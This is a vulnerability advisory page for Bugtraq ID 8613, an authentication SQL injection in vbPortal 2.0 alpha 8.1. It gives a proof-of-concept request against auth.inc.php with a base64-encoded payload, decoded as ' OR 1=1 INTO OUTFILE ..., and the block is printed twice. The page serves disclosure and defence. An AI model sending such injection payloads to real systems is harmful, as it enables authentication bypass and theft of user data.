vbPortal Authentication SQL Injection Vulnerability
BID:8613
Info
vbPortal Authentication SQL Injection Vulnerability
| Bugtraq ID: | 8613 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 12 2003 12:00AM |
| Updated: | Sep 12 2003 12:00AM |
| Credit: | This vulnerability was reported by Frog Man. |
| Vulnerable: |
vbPortal vbPortal 2.0 alpha 8.1 |
| Not Vulnerable: | |
Exploit / POC
vbPortal Authentication SQL Injection Vulnerability
The following proof of concept request has been provided by Frog Man:
http://www.example.org/auth.inc.php?admin=JyBPUiAxPTEgSU5UTyBPVVRGSUxFICcvY29tcGxldGUvcGF0aC9Vc2VyVGFibGUudHh0OjE=
It should be noted that the above base64 encoded string contains the following data:
' OR 1=1 INTO OUTFILE '/complete/path/UserTable.txt:1
The following proof of concept request has been provided by Frog Man:
http://www.example.org/auth.inc.php?admin=JyBPUiAxPTEgSU5UTyBPVVRGSUxFICcvY29tcGxldGUvcGF0aC9Vc2VyVGFibGUudHh0OjE=
It should be noted that the above base64 encoded string contains the following data:
' OR 1=1 INTO OUTFILE '/complete/path/UserTable.txt:1